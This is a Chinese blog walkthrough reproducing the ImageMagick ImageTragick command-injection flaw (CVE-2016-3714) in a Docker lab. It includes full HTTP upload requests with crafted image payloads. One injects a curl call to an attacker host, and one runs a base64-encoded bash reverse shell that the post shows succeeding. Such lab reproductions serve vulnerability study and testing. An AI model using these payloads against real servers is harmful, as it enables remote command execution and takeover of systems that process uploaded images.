Imagetragick 命令执行漏洞(CVE-2016–3714)
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。
参考链接:
- https://imagetragick.com
- https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
- https://github.com/ImageTragick/PoCs
漏洞环境
执行如下命令启动一个包含了Imagemagick 6.9.2-10的PHP服务器:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174932694-139267955.png)
漏洞复现
访问http://your-ip:8080/
即可查看到一个上传组件。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174932708-1960529413.png)
发送如下数据包:
点击查看代码
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 312
------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.75.150:9999)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--
可见,192.168.75.150:9999
已经接收到http请求,说明curl命令执行成功:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174932701-1848854037.png)
反弹shell POC:
点击查看代码
POST / HTTP/1.1
Host: 192.168.75.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 390
------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTUwLzk5OTkgMD4mMQ== | base64 -d | bash`"||id " )'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--cl
Bp重放发包,Kali拿到Shell
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174932691-1247700860.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281797.html